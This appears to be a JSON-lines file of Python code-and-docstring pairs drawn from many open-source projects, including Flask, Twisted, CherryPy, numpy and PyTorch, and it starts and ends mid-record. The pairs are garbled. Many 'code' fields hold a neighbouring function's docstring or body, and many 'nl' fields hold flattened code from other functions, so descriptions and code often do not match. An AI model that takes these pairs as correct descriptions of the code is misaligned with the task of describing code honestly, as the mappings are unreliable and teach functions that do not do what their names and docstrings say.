"nl": "Convert old configuration.Used in migrating config entry to version 2."} {"code": "def _restore_session(self, *args):\n Returns `True` if there are no viewers and no data.\n \"\"\"", "nl": " Load a previously-saved state, and restart the session fltr = \"Glue sessions (*.glu)\"file_name, file_filter = compat.getopenfilename(parent=self, filters=fltr)if not file_name:returnga = self.restore_session_and_close(file_name)return ga@propertydef is_empty(self):"} {"code": "def message_attributes(self) -> SQSMessageAttributes:\n return self[\"md5OfBody\"]\n\n @property", "nl": "Each message attribute consists of a Name, Type, and Value.return SQSMessageAttributes(self[\"messageAttributes\"])@propertydef md5_of_body(self) -> str:An MD5 digest of the non-URL-encoded message body string."} {"code": "def shortest_dist(dist_mat):\n m, n = dist_mat.size()[:2]\n dist = [[0 for _ in range(n)] for _ in range(m)]\n for i in range(m):\n for j in range(n):\n if (i == 0) and (j == 0):\n dist[i][j] = dist_mat[i, j]\n elif (i == 0) and (j > 0):\n dist[i][j] = dist[i][j - 1] + dist_mat[i, j]\n elif (i > 0) and (j == 0):\n dist[i][j] = dist[i - 1][j] + dist_mat[i, j]\n else:\n dist[i][j] = torch.min(dist[i - 1][j], dist[i][j - 1]) + dist_mat[i, j]\n dist = dist[-1][-1]\n return dist\n", "nl": "Parallel version.Args:dist_mat: pytorch Variable, available shape:1) [m, n]2) [m, n, N], N is batch size3) [m, n, *], * can be arbitrary additional dimensionsReturns:dist: three cases corresponding to `dist_mat`:1) scalar2) pytorch Variable, with shape [N]3) pytorch Variable, with shape [*]"} {"code": "def GetVmodlName(typ):\n String only dictionary: same as dict, except it only accept string as value\n\n dict in python is kind of strange. U cannot just override __setitem__, as", "nl": " Get vmodl type name from type try:return vmodlNames[typ]except KeyError:return typ.__name__## Get Wsdl type name from Python type name## @param pythonTypeName Python type name# @return wsdl type namedef GetWsdlTypeName(pythonTypeName):try:typ = GetVmodlType(pythonTypeName)except KeyError:raise NameError('No type found with name ' + pythonTypeName)return GetWsdlName(typ)## Get Wsdl method name from Python method name## @param pythonTypeName Python type name# @param pythonMethodName Python method name# @return wsdl method namedef GetWsdlMethodName(pythonTypeName, pythonMethodName):try:typ = GetVmodlType(pythonTypeName)_, _, _, _, _, methods = _wsdlDefMap[GetQualifiedWsdlName(typ)]except KeyError:raise NameError('No type found with name ' + pythonTypeName)uncapPythonMethodName = Uncapitalize(pythonMethodName)for method in methods:mVmodl, mWsdl, _, _, _, _, _ = methodif mVmodl == uncapPythonMethodName or mVmodl == pythonMethodName:return mWsdlraise NameError('No method found with name ' + pythonMethodName)## Get Python type name from Wsdl type name## @param ns wsdl namespace# @param wsdlTypeName wsdl type name# @return python type namedef GetPythonTypeName(wsdlTypeName, ns):try:typ = GetWsdlType(ns, wsdlTypeName)except KeyError:raise NameError('No type found with namespace %s and name %s' % (ns, wsdlTypeName))return GetVmodlName(typ)## Get Python method name from Wsdl method name## @param ns wsdl namespace# @param wsdlTypeName wsdl type name# @param wsdlMethodName wsdl method name# @return python method namedef GetPythonMethodName(wsdlTypeName, ns, wsdlMethodName):try:_, _, _, _, _, methods = _wsdlDefMap[(ns, wsdlTypeName)]except KeyError:raise NameError('No type found with namespace %s and name %s' % (ns, wsdlTypeName))for method in methods:mVmodl, mWsdl, _, _, _, _, _ = methodif mWsdl == wsdlMethodName:return Capitalize(mVmodl)raise NameError('No method found with name ' + wsdlMethodName)## String only dictionary: same as dict, except it only accept string as value#class StringDict(dict):"} {"code": "def set_logging(self):\n\t\tlogger = logging.getLogger('DomiOwned')\n\t\tlogger.setLevel(logging.DEBUG)\n\t\tcustom_format = CustomLoggingFormatter()\n\t\thandler = logging.StreamHandler()\n\t\thandler.setFormatter(custom_format)\n\t\tlogger.addHandler(handler)\n\n\t\treturn logger\n", "nl": "Configure the basic logging environment for the application."} {"code": "def forward(self, x):\n out, _ = self.layer(x)\n\n if self.droprate > 0:\n out = F.dropout(out, p=self.droprate, training=self.training)\n\n return out\n\nclass ERNN(nn.Module):\n \"\"\"", "nl": "Calculate the output.Parameters----------x : ``torch.FloatTensor``, required.The input tensor, of shape (seq_len, batch_size, input_dim).Returns----------output: ``torch.FloatTensor``.The output of RNNs."} {"code": "def test_valid_version(self):\n version = distutils.version.StrictVersion(seesaw.__version__)\n major_ver, minor_ver, patch_ver = version.version\n major_build_ver = (seesaw.__build__ & 0xff0000) >> 16\n minor_build_ver = (seesaw.__build__ & 0xff00) >> 8\n patch_build_ver = seesaw.__build__ & 0xff\n\n self.assertEqual(major_ver, major_build_ver)\n self.assertEqual(minor_ver, minor_build_ver)\n self.assertEqual(patch_ver, patch_build_ver)", "nl": "It should not raise ValueError.distutils.version.StrictVersion(seesaw.__version__)def test_valid_build_number(self):It should match the version string."} {"code": "def test_constructors(self):\n ctx = fuzzer_stats.CoverageFieldContext()\n edge_field = fuzzer_stats.BuiltinFieldSpecifier('_EDGE_COV').create(ctx)\n func_field = fuzzer_stats.BuiltinFieldSpecifier('_FUNC_COV').create(ctx)\n\n data = edge_field.get(fuzzer_stats.QueryGroupBy.GROUP_BY_FUZZER, 'fuzzer1')\n self.assertEqual(data.value, '36.67% (11/30)')\n self.assertAlmostEqual(data.sort_key, 36.666666666666664)\n self.assertIsNone(data.link)\n\n data = func_field.get(fuzzer_stats.QueryGroupBy.GROUP_BY_FUZZER, 'fuzzer2')\n self.assertEqual(data.value, '64.44% (58/90)')\n self.assertAlmostEqual(data.sort_key, 64.44444444444444)\n self.assertIsNone(data.link)\n\n ctx = fuzzer_stats.CoverageFieldContext(fuzzer='fuzzer2')\n edge_field = fuzzer_stats.BuiltinFieldSpecifier('_EDGE_COV').create(ctx)\n data = edge_field.get(fuzzer_stats.QueryGroupBy.GROUP_BY_DAY, self.today)\n self.assertEqual(data.value, '48.48% (16/33)')\n self.assertAlmostEqual(data.sort_key, 48.484848484848484)\n self.assertIsNone(data.link)\n\n data = edge_field.get(fuzzer_stats.QueryGroupBy.GROUP_BY_DAY,\n self.yesterday)\n self.assertEqual(data.value, '37.50% (15/40)')\n self.assertAlmostEqual(data.sort_key, 37.5)\n self.assertIsNone(data.link)\n", "nl": "Test builtin field constructors.field = fuzzer_stats.BuiltinFieldSpecifier('_EDGE_COV').create()self.assertIsInstance(field, fuzzer_stats.CoverageField)field = fuzzer_stats.BuiltinFieldSpecifier('_FUNC_COV').create()self.assertIsInstance(field, fuzzer_stats.CoverageField)field = fuzzer_stats.BuiltinFieldSpecifier('_CORPUS_SIZE').create()self.assertIsInstance(field, fuzzer_stats.CorpusSizeField)field = fuzzer_stats.BuiltinFieldSpecifier('_CORPUS_BACKUP').create()self.assertIsInstance(field, fuzzer_stats.CorpusBackupField)field = fuzzer_stats.BuiltinFieldSpecifier('_QUARANTINE_SIZE').create()self.assertIsInstance(field, fuzzer_stats.CorpusSizeField)field = fuzzer_stats.BuiltinFieldSpecifier('_COV_REPORT').create()self.assertIsInstance(field, fuzzer_stats.CoverageReportField)def test_coverage_fields(self):Test coverage fields."} {"code": "def propagate(self, beam=None, needNewGlobal=False):\n if self.bl is not None:\n self.bl.auto_align(self, beam)\n good = beam.state > 0\n lo = rs.Beam(copyFrom=beam)\n bl = self.bl if self.xyz == 'auto' else self.xyz\n raycing.global_to_virgin_local(bl, beam, lo, self.center, good)\n path = -lo.y[good] / lo.b[good]\n lo.x[good] += lo.a[good] * path\n lo.z[good] += lo.c[good] * path\n lo.path[good] += path\n\n footprint = mplPath(self.vertices)\n badIndices = np.invert(footprint.contains_points(np.array(\n list(zip(lo.x, lo.z)))))\n beam.state[badIndices] = self.lostNum\n\n lo.state[good] = beam.state[good]\n lo.y[good] = 0.\n\n if hasattr(lo, 'Es'):\n propPhase = np.exp(1e7j * (lo.E[good]/CHBAR) * path)\n lo.Es[good] *= propPhase\n lo.Ep[good] *= propPhase\n\n if self.alarmLevel is not None:\n raycing.check_alarm(self, good, beam)\n if needNewGlobal:\n glo = rs.Beam(copyFrom=lo)\n raycing.virgin_local_to_global(self.bl, glo, self.center, good)\n return glo, lo\n else:\n raycing.append_to_flow(self.propagate, [lo],\n inspect.currentframe())\n return lo\n", "nl": "Assigns the \"lost\" value to *beam.state* array for the raysintercepted by the aperture. The \"lost\" value is``-self.ordinalNum - 1000.``.. Returned values: beamLocal"} {"code": "def run(self):\n try:\n self.func()\n except Exception:\n import sys\n self.thread_exc_info = sys.exc_info()\n\n cmd1 = Runner(rebuild)\n cmd1.start()\n\n time.sleep(.1)\n rebuild()\n\n cmd1.join()\n\n if cmd1.thread_exc_info is not None:\n raise cmd1.thread_exc_info[1], None, cmd1.thread_exc_info[2]\n\n self.assertEqual(self.rebuild_errors, 1,\n msg='rebuild errors should be 1, but found {}. Concurrent rebuild should not be allowed, but one rebuild command should have succeeded.'.format(self.rebuild_errors))\n\n for i in xrange(0, keys):\n query_c1c2(session, i, ConsistencyLevel.LOCAL_ONE)\n\n @since('2.2')", "nl": "Closes over self to catch any exceptions raised by func andregister them at self.thread_exc_infoBased on http://stackoverflow.com/a/1854263"} {"code": "def get_mockreturn(url, *args, **kwargs):\n data_dir = os.path.join(os.path.dirname(__file__), 'data')\n return os.path.join(data_dir, filename)\n\n\n\"\"\" Coordinates to use for testing \"\"\"", "nl": " generate the actual mock textual data from our included datafile with json results global saved_requestsaved_request = {'url': url, 'args': args, 'kwargs': kwargs}filename = data_path(DATA_FILES['m101'])f = open(filename, 'r')text = f.read()retval = MockResponse(text)f.close()return retvaldef data_path(filename): determine the path to our sample data file "} {"code": "def __next__(self):\n return self\n", "nl": "Desc: Return the next error node"} {"code": "def get_landing_spot_bonus(self, step):\n scene.layers[-4].clear()\n scene.layers[-3].clear()\n scene.layers[-2].clear()\n scene.layers[-1].clear()\n self.generate()\n", "nl": "Get the bonus if we're at a landing spot.spot = self.get_landing_spot(step)return spot.bonus if spot else 0def reset(self):Generates a new landscape."} {"code": "def to_fp16(self, **amp_params):\n amp_params = dict({\"opt_level\": \"O1\", \"verbosity\": 0}, **amp_params)\n self.state.core.amp_params = amp_params\n self.state.core.model = amp.initialize(self.state.core.model, **amp_params)\n self.state.core.use_fp16 = True\n return self\n", "nl": "Use NVIDIA apex library for mixed precision training.After calling this method, all operations will be used in mixed precision.Returns:self"} {"code": "def handle_user_exception(self, e):\n exc_type, exc_value, tb = sys.exc_info()\n assert exc_value is e\n\n if isinstance(e, BadRequestKeyError):\n if self.debug or self.config[\"TRAP_BAD_REQUEST_ERRORS\"]:\n e.show_exception = True\n\n if e.args[0] not in e.get_description():\n e.description = \"KeyError: '{}'\".format(*e.args)\n elif not hasattr(BadRequestKeyError, \"show_exception\"):\n e.args = ()\n\n if isinstance(e, HTTPException) and not self.trap_http_exception(e):\n return self.handle_http_exception(e)\n\n handler = self._find_error_handler(e)\n\n if handler is None:\n reraise(exc_type, exc_value, tb)\n return handler(e)\n", "nl": "This method is called whenever an exception occurs thatshould be handled. A special case is :class:`~werkzeug.exceptions.HTTPException` which is forwarded to the:meth:`handle_http_exception` method. This function will eitherreturn a response value or reraise the exception with the sametraceback... versionchanged:: 1.0Key errors raised from request data like ``form`` show thebad key in debug mode rather than a generic bad requestmessage... versionadded:: 0.7"} {"code": "def add_data_files(self,*files):\n\n if len(files)>1:\n for f in files:\n self.add_data_files(f)\n return\n assert len(files)==1\n if is_sequence(files[0]):\n d, files = files[0]\n else:\n d = None\n if is_string(files):\n filepat = files\n elif is_sequence(files):\n if len(files)==1:\n filepat = files[0]\n else:\n for f in files:\n self.add_data_files((d, f))\n return\n else:\n raise TypeError(repr(type(files)))\n\n if d is None:\n if hasattr(filepat, '__call__'):\n d = ''\n elif os.path.isabs(filepat):\n d = ''\n else:\n d = os.path.dirname(filepat)\n self.add_data_files((d, files))\n return\n\n paths = self.paths(filepat, include_non_existing=False)\n if is_glob_pattern(filepat):\n if is_glob_pattern(d):\n pattern_list = d.split(os.sep)\n pattern_list.reverse()\n for path in paths:\n path_list = path.split(os.sep)\n path_list.reverse()\n path_list.pop()\n target_list = []\n i = 0\n for s in pattern_list:\n if is_glob_pattern(s):\n target_list.append(path_list[i])\n i += 1\n else:\n target_list.append(s)\n target_list.reverse()\n self.add_data_files((os.sep.join(target_list), path))\n else:\n self.add_data_files((d, paths))\n return\n assert not is_glob_pattern(d), repr((d, filepat))\n\n dist = self.get_distribution()\n if dist is not None and dist.data_files is not None:\n data_files = dist.data_files\n else:\n data_files = self.data_files\n\n data_files.append((os.path.join(self.path_in_package, d), paths))\n\n", "nl": "Add data files to configuration data_files.Parameters----------files : sequenceArgument(s) can be either* 2-sequence (,)* paths to data files where python datadir prefix defaultsto package dir.Notes-----The form of each element of the files sequence is very flexibleallowing many combinations of where to get the files from the packageand where they should ultimately be installed on the system. The mostbasic usage is for an element of the files argument sequence to be asimple filename. This will cause that file from the local path to beinstalled to the installation path of the self.name package (packagepath). The file argument can also be a relative path in which case theentire relative path will be installed into the package directory.Finally, the file can be an absolute path name in which case the filewill be found at the absolute path name but installed to the packagepath.This basic behavior can be augmented by passing a 2-tuple in as thefile argument. The first element of the tuple should specify therelative path (under the package install directory) where theremaining sequence of files should be installed to (it has nothing todo with the file-names in the source distribution). The second elementof the tuple is the sequence of files that should be installed. Thefiles in this sequence can be filenames, relative paths, or absolutepaths. For absolute paths the file will be installed in the top-levelpackage installation directory (regardless of the first argument).Filenames and relative path names will be installed in the packageinstall directory under the path name given as the first element ofthe tuple.Rules for installation paths:#. file.txt -> (., file.txt)-> parent/file.txt#. foo/file.txt -> (foo, foo/file.txt) -> parent/foo/file.txt#. /foo/bar/file.txt -> (., /foo/bar/file.txt) -> parent/file.txt#. ``*``.txt -> parent/a.txt, parent/b.txt#. foo/``*``.txt`` -> parent/foo/a.txt, parent/foo/b.txt#. ``*/*.txt`` -> (``*``, ``*``/``*``.txt) -> parent/c/a.txt, parent/d/b.txt#. (sun, file.txt) -> parent/sun/file.txt#. (sun, bar/file.txt) -> parent/sun/file.txt#. (sun, /foo/bar/file.txt) -> parent/sun/file.txt#. (sun, ``*``.txt) -> parent/sun/a.txt, parent/sun/b.txt#. (sun, bar/``*``.txt) -> parent/sun/a.txt, parent/sun/b.txt#. (sun/``*``, ``*``/``*``.txt) -> parent/sun/c/a.txt, parent/d/b.txtAn additional feature is that the path to a data-file can actually bea function that takes no arguments and returns the actual path(s) tothe data-files. This is useful when the data files are generated whilebuilding the package.Examples--------Add files to the list of data_files to be included with the package.>>> self.add_data_files('foo.dat',... ('fun', ['gun.dat', 'nun/pun.dat', '/tmp/sun.dat']),... 'bar/cat.dat',... '/full/path/to/can.dat') #doctest: +SKIPwill install these data files to::/foo.datfun/gun.datnun/pun.datsun.datbar/car.datcan.datwhere is the package (or sub-package)directory such as '/usr/lib/python2.4/site-packages/mypackage' ('C:\\\\Python2.4 \\\\Lib \\\\site-packages \\\\mypackage') or'/usr/lib/python2.4/site- packages/mypackage/mysubpackage' ('C:\\\\Python2.4 \\\\Lib \\\\site-packages \\\\mypackage \\\\mysubpackage')."} {"code": "def http_request(self, url: str, method=\"GET\", **kwargs) -> requests.Response:\n _kwargs = copy.copy(self.request_args)\n _kwargs.update(kwargs)\n\n if self.cookiejar:\n _kwargs[\"cookies\"] = self._cookies()\n logger.debug(\"SENT %s COOKIES\", len(_kwargs[\"cookies\"]))\n\n if self.req_callback is not None:\n _kwargs = self.req_callback(method, url, **_kwargs)\n\n try:\n if getattr(self.settings, \"requests_session\", None) is not None:\n r = cast(\n requests.Response,\n self.settings.requests_session.request(method, url, **_kwargs),\n )\n else:\n r = requests.request(method, url, **_kwargs)\n except Exception as err:\n logger.error(\n \"http_request failed: %s, url: %s, htargs: %s, method: %s\"\n % (err, url, sanitize(_kwargs), method)\n )\n raise\n\n if self.events is not None:\n self.events.store(\"HTTP response\", r, ref=url)\n\n try:\n _cookie = r.headers[\"set-cookie\"]\n logger.debug(\"RECEIVED COOKIE\")\n try:\n set_cookie(self.cookiejar, SimpleCookie(_cookie))\n except CookieError as err:\n logger.error(err)\n raise NonFatalException(r, \"{}\".format(err))\n except (AttributeError, KeyError):\n pass\n\n return r\n", "nl": "Run a HTTP request to fetch the given url.This wraps the requests library, so you can passmost requests kwargs to this method to overridedefaults.:param url: The URL to fetch:param method: The HTTP method to use.:param kwargs: Additional keyword arguments to pass through."} {"code": "def _transpose_for_scores(self, tensor):\n new_tensor_shape = tensor.size()[:-1] + \\\n (self.num_attention_heads_per_partition,\n self.hidden_size_per_attention_head)\n tensor = tensor.view(*new_tensor_shape)\n return tensor.permute(0, 2, 1, 3)\n", "nl": "Transpose a 3D tensor [b, s, np*hn] into a 4D tensor withsize [b, np, s, hn]."} {"code": "def test_footnotes(self) -> None:\n assert OUTPUT.endnotes_runs == [\n [\n [\n [[]],\n [[]],\n [[\"endnote1)\\t\", \" First endnote\"]],\n [[\"endnote2)\\t\", \" Second endnote\", \"----media/image1.png----\"]],\n ]\n ]\n ]\n", "nl": "Footnotes extracted.assert OUTPUT.footnotes_runs == [[[[[]],[[]],[[\"footnote1)\\t\", \" First footnote\"]],[[\"footnote2)\\t\", \" Second footnote\", \"----media/image1.png----\"]],]]]def test_endnotes(self) -> None:Endnotes extracted."} {"code": "def queue(self) -> asyncio.Queue:\n if self._queue:\n return None\n self._loop = asyncio.get_event_loop()\n self._queue = asyncio.Queue()\n await self._service.start(addr=self._host, port=self._port)\n", "nl": "Check queue is set and return queue.if self._queue is None: # pragma: nocoverraise ValueError(\"Channel is not connected\")return self._queueasync def connect(self) -> None:Start prometheus http server."} {"code": "def testPattern(self):\n self.wf_spec.start.connect(self.spec)\n expected = 'Start\\n testtask\\n'\n workflow = run_workflow(self, self.wf_spec, expected, '')\n task = workflow.get_tasks_from_spec_name('testtask')[0]\n self.assertEqual(task.state_history, [TaskState.FUTURE,\n TaskState.WAITING,\n TaskState.READY,\n TaskState.COMPLETED])\n self.assertIn(b'127.0.0.1', task.results[0])\n\n", "nl": "Tests that we can create a task that executes an shell commandand that the workflow can be called to complete such tasks."} {"code": "def pluginload(bot, event, *args):\n\n if args:\n module_path = args[0]\n\n try:\n yield from plugins.unload(bot, module_path)\n if plugins.load(bot, module_path):\n message = \"
{}
: reloaded
\".format(module_path)\n else:\n message = \"
{}
: failed reload
\".format(module_path)\n\n except (RuntimeError, KeyError) as e:\n message = \"
{}
:
{}
\".format(module_path, str(e))\n\n else:\n message = \"module path required\"\n\n yield from bot.coro_send_message(event.conv_id, message)\n\n\n@command.register(admin=True)", "nl": "loads a previously unloaded plugin, requires plugins. prefixif args:module_path = args[0]try:if plugins.load(bot, module_path):message = \"
{}
: loaded
\".format(module_path)else:message = \"
{}
: failed
\".format(module_path)except RuntimeError as e:message = \"
{}
:
{}
\".format(module_path, str(e))else:message = \"module path required\"yield from bot.coro_send_message(event.conv_id, message)@command.register(admin=True)def pluginreload(bot, event, *args):reloads a previously loaded plugin, requires plugins. prefix"} {"code": "def formatListLines(msgs):\n i = 0\n for size in msgs:\n i += 1\n yield '%d %d\\r\\n' % (i, size)\n\n\n", "nl": "Format a list of message sizes for use in a LIST response.@type msgs: L{list} of L{int}@param msgs: A list of message sizes.@rtype: L{bytes}@return: Yields a series of strings that are suitable for use as scanlistings in a LIST response. Each string consists of a message numberand its size in octets."} {"code": "def _regard_flags(self, *flags):\n raise TypeError(\"Cannot hash a Context.\")\n", "nl": "Stop ignoring the flags, if they are raisedif flags and isinstance(flags[0], (tuple,list)):flags = flags[0]for flag in flags:self._ignored_flags.remove(flag)def __hash__(self):A Context cannot be hashed."} {"code": "def get_total_gains_minus_dividends():\n profileData = r.load_portfolio_profile()\n print(profileData)\n allTransactions = r.get_bank_transfers()\n deposits = sum(float(x['amount']) for x in allTransactions if (x['direction'] == 'deposit'))\n withdrawals = sum(float(x['amount']) for x in allTransactions if (x['direction'] == 'withdraw') and (x['state'] == 'completed'))\n money_invested = deposits - withdrawals\n print(deposits)\n dividends = r.get_total_dividends()\n percentDividend = dividends/money_invested*100\n totalGainMinusDividends =float(profileData['extended_hours_equity'])-dividends-money_invested\n return totalGainMinusDividends", "nl": " Returns the amount of money you've gained/lost through trading since the creation of your account, minus dividends"} {"code": "def log_error(self, format, *args):\n self.log_message(format, *args)\n", "nl": "Log an error.This is called when a request cannot be fulfilled. Bydefault it passes the message on to log_message().Arguments are the same as for log_message().XXX This should go to the separate error log."} {"code": "def handle_error(self):\n If the request Content-Type is 'application/x-www-form-urlencoded' or\n multipart, this will be a dict of the params pulled from the entity\n body; that is, it will be the portion of request.params that come\n from the message body (sometimes called \"POST params\", although they\n can be sent with various HTTP method verbs). This value is set between\n the 'before_request_body' and 'before_handler' hooks (assuming that\n process_request_body is True).\n\n Deprecated in 3.2, will be removed for 3.3 in favor of\n :attr:`request.body.params`.\"\"\")\n\n if py3k:\n unicode_err = (\"Page handlers MUST return bytes. Use tools.encode \"\n \"if you wish to return unicode.\")\n", "nl": "Handle the last unanticipated exception. (Core)try:self.hooks.run(\"before_error_response\")if self.error_response:self.error_response()self.hooks.run(\"after_error_response\")cherrypy.serving.response.finalize()except cherrypy.HTTPRedirect:inst = sys.exc_info()[1]inst.set_response()cherrypy.serving.response.finalize()# ------------------------- Properties ------------------------- #def _get_body_params(self):warnings.warn(\"body_params is deprecated in CherryPy 3.2, will be removed in \"\"CherryPy 3.3.\",DeprecationWarning)return self.body.paramsbody_params = property(_get_body_params,doc= "} {"code": "def test_socketReadNormal(self):\n udp._sockErrReadIgnore.append(-7000)\n self.addCleanup(udp._sockErrReadIgnore.remove, -7000)\n\n protocol = KeepReads()\n port = udp.Port(None, protocol)\n\n port.socket = StringUDPSocket(\n [b\"result\", b\"123\", socket.error(-7000), b\"456\",\n socket.error(-7000)])\n port.doRead()\n self.assertEqual(protocol.reads, [b\"result\", b\"123\"])\n port.doRead()\n self.assertEqual(protocol.reads, [b\"result\", b\"123\", b\"456\"])\n\n", "nl": "Socket reads with some good data followed by a socket error which canbe ignored causes reading to stop, and no log messages to be logged."} {"code": "def test_encoding(self):\n self.assertThat(\n format.binary('utf-8')(u'\\N{SNOWMAN}'.encode('utf-8')),\n ExactlyEquals(u'\\u2603'))\n", "nl": "Binary values are decoded with the given encoding."} {"code": "def resnet101(pretrained=False, progress=True, **kwargs):\n return _resnet('resnet101', Bottleneck, [3, 4, 23, 3], pretrained, progress,\n **kwargs)\n\n", "nl": "rResNet-101 model from`\"Deep Residual Learning for Image Recognition\" `_Args:pretrained (bool): If True, returns a model pre-trained on ImageNetprogress (bool): If True, displays a progress bar of the download to stderr"} {"code": "def _copy_model(in_path, out_path):\n current_ckpt = 0\n best_acc = 0\n stop_evaluating = False\n if not tf.gfile.Exists(os.path.join(FLAGS.output_dir, \"eval\")):\n tf.gfile.MakeDirs(os.path.join(FLAGS.output_dir, \"eval\"))\n event_writer = tf.summary.FileWriter(os.path.join(FLAGS.output_dir, \"eval\"))\n while not stop_evaluating:\n if FLAGS.use_best_ckpt_for_predict:\n ckpt_path = os.path.join(FLAGS.output_dir, \"best_model\")\n if not os.path.exists(ckpt_path + \".meta\"):\n tf.logging.info(\"No best_model checkpoint found in %s\",\n FLAGS.output_dir)\n tf.logging.info(\"Skipping evaluation.\")\n break\n output_prediction_file = os.path.join(FLAGS.output_dir,\n \"predictions.json\")\n stop_evaluating = True\n else:\n ckpt_path = tf.train.latest_checkpoint(FLAGS.output_dir)\n if ckpt_path == current_ckpt:\n tf.logging.info(\"No new checkpoint in %s\", FLAGS.output_dir)\n tf.logging.info(\"Waiting for 100s\")\n time.sleep(100)\n continue\n current_ckpt = ckpt_path\n model_name = None\n if ckpt_path is not None:\n model_name = os.path.basename(ckpt_path)\n output_prediction_file = os.path.join(FLAGS.output_dir,\n \"predictions_%s.json\" % model_name)\n\n metrics = single_eval(eval_dataset, estimator, ckpt_path, mention2text,\n entityid2name, supervision, output_prediction_file,\n eval_fn, **kwargs)\n\n if ckpt_path is not None:\n ckpt_number = int(ckpt_path.rsplit(\"-\", 1)[1])\n if metrics[\"accuracy\"] > best_acc:\n best_acc = metrics[\"accuracy\"]\n if tf.gfile.Exists(ckpt_path + \".meta\"):\n _copy_model(ckpt_path, os.path.join(FLAGS.output_dir, \"best_model\"))\n else:\n ckpt_number = 0\n for metric, value in metrics.items():\n tf.logging.info(\"%s: %.4f\", metric, value)\n curr_summary = tf.Summary(value=[\n tf.Summary.Value(tag=metric, simple_value=value),\n ])\n event_writer.add_summary(curr_summary, global_step=ckpt_number)\n\n", "nl": "Copy model checkpoint for future use.tf.logging.info(\"Copying checkpoint from %s to %s.\", in_path, out_path)tf.gfile.Copy(in_path + \".data-00000-of-00001\",out_path + \".data-00000-of-00001\",overwrite=True)tf.gfile.Copy(in_path + \".index\", out_path + \".index\", overwrite=True)tf.gfile.Copy(in_path + \".meta\", out_path + \".meta\", overwrite=True)def continuous_eval(eval_dataset, estimator, mention2text, entityid2name,supervision, eval_fn, **kwargs):Run continuous evaluation on given TFRecords file."} {"code": "def state_getter(self):\n", "nl": "Return a (instance) -> InstanceState callable.\"state getter\" callables should raise either KeyError orAttributeError if no InstanceState could be found for theinstance."} {"code": "def text_normalizer(text):\n return text_whitespace_convert(text_numbers(text_case_convert(text)))\n\n\n", "nl": " Text normalizerIn this code, only lower case conversion and white space is handled"} {"code": "def attach_file(self, locator_or_path, path=None, **kwargs):\n\n if path is None:\n locator, path = None, locator_or_path\n else:\n locator = locator_or_path\n\n if not os.path.isfile(path):\n raise FileNotFound(\"cannot attach file, {0} does not exist\".format(path))\n\n self.find(\"file_field\", locator, **kwargs).set(path)\n", "nl": "Find a file field on the page and attach a file given its path. The file field can be foundvia its name, id, or label text. ::page.attach_file(locator, \"/path/to/file.png\")Args:locator_or_path (str): Which field to attach the file to, or the path of the file thatwill be attached.path (str, optional): The path of the file that will be attached. Defaults to``locator_or_path``.**kwargs: Arbitrary keyword arguments for :class:`SelectorQuery`.Raises:FileNotFound: No file exists at the given path."} {"code": "def bundle_changed(self, event):\n assert isinstance(event, BundleEvent)\n\n bundle = event.get_bundle()\n kind = event.get_kind()\n if self.bundle is not None \\\n and kind == BundleEvent.INSTALLED:\n self.assertIs(self.bundle, bundle,\n \"Received an event for an other bundle.\")\n\n self.assertNotIn(kind, self.received, \"Event received twice\")\n self.received.append(kind)\n", "nl": "Called by the framework when a bundle event is triggered@param event: The BundleEvent"} {"code": "def test_teardown(self):\n\n is_agent_to_agent_messages = False\n", "nl": "Test the teardown method of the contract_api handler.assert self.contract_api_handler.teardown() is Noneself.assert_quantity_in_outbox(0)class TestSigningHandler(ERC1155ClientTestCase):Test signing handler of erc1155_client."} {"code": "def _createpoly(self):\n return self.cv.create_polygon((0, 0, 0, 0, 0, 0), fill=\"\", outline=\"\")\n", "nl": "Create an invisible polygon item on canvas self.cv)"} {"code": "def fromkeys(cls, iterable, value='', mutable=False, encoding=None):\n q = cls('', mutable=True, encoding=encoding)\n for key in iterable:\n q.appendlist(key, value)\n if not mutable:\n q._mutable = False\n return q\n\n @property", "nl": "Return a new QueryDict with keys (may be repeated) from an iterable andvalues from value."} {"code": "def hash_tuple(val, encoding='utf8', hash_key=None):\n hashes = (_hash_scalar(v, encoding=encoding, hash_key=hash_key)\n for v in val)\n\n h = _combine_hash_arrays(hashes, len(val))[0]\n\n return h\n\n", "nl": "Hash a single tuple efficientlyParameters----------val : single tupleencoding : string, default 'utf8'hash_key : string key to encode, default to _default_hash_keyReturns-------hash"} {"code": "def __init__(self, performative: Performative, **kwargs: Any) -> None:\n super().__init__(performative=performative, **kwargs)\n enforce(\n self._is_consistent(), \"MyScaffoldMessage initialization inconsistent.\"\n )\n", "nl": "Initialize.:param performative: the type of message.:param kwargs: the keyword arguments."} {"code": "def from_str(code_str):\n return next(\n (code for code in PoolAllocSpaceErrorCode if code_str == str(code)), None\n )\n\n\nclass PoolErrorCode:\n \"\"\"\n\n CLASSES = [PoolMaintenanceErrorCode, PoolAllocSpaceErrorCode]\n\n @staticmethod", "nl": "Discover the code, if any, from the code string.:returns: the code if it finds a match, otherwise None:rtype: PoolAllocSpaceErrorCode or NoneType"} {"code": "def _on_cell_changed(self, rownr, colnr):\n\n\t\tif rownr == 0:\n\t\t\treturn\n\t\tcol = self.qdm.dm.columns[colnr][1]\n\t\tval = self.qdm.dm[col][rownr - 1]\n\t\tif not isinstance(val, basestring) or u'\\n' not in val:\n\t\t\treturn\n\t\tval = val.replace(u'\\n', u'')\n\t\tself.qdm._spreadsheet._setcell(rownr, colnr, val)\n\t\tself.qdm.dm[col][rownr - 1] = val\n\t\tself._apply_table()\n", "nl": "desc:Protects the table from having newlines in the cells."} {"code": "def write(self, diadefs):", "nl": "write files for according to "} {"code": "def _package_fullname_to_path(fullname):\n return fullname.replace(\".\", os.sep) + os.sep\n\n", "nl": "Converts a package's fullname to a file path that should be the package'sdirectory.:param fullname: The fullname of a package, like package_a.package_b:return: A derived filepath, like package_a/package_b"} {"code": "def expandvars(path):\n global _varprog, _uvarprog\n if '$' not in path:\n return path\n if isinstance(path, _unicode):\n if not _uvarprog:\n import re\n _uvarprog = re.compile(ur'\\$(\\w+|\\{[^}]*\\})', re.UNICODE)\n varprog = _uvarprog\n encoding = sys.getfilesystemencoding()\n else:\n if not _varprog:\n import re\n _varprog = re.compile(r'\\$(\\w+|\\{[^}]*\\})')\n varprog = _varprog\n encoding = None\n i = 0\n while True:\n m = varprog.search(path, i)\n if not m:\n break\n i, j = m.span(0)\n name = m.group(1)\n if name.startswith('{') and name.endswith('}'):\n name = name[1:-1]\n if encoding:\n name = name.encode(encoding)\n if name in os.environ:\n tail = path[j:]\n value = os.environ[name]\n if encoding:\n value = value.decode(encoding)\n path = path[:i] + value\n i = len(path)\n path += tail\n else:\n i = j\n return path\n\n\n", "nl": "Expand shell variables of form $var and ${var}. Unknown variablesare left unchanged."} {"code": "def 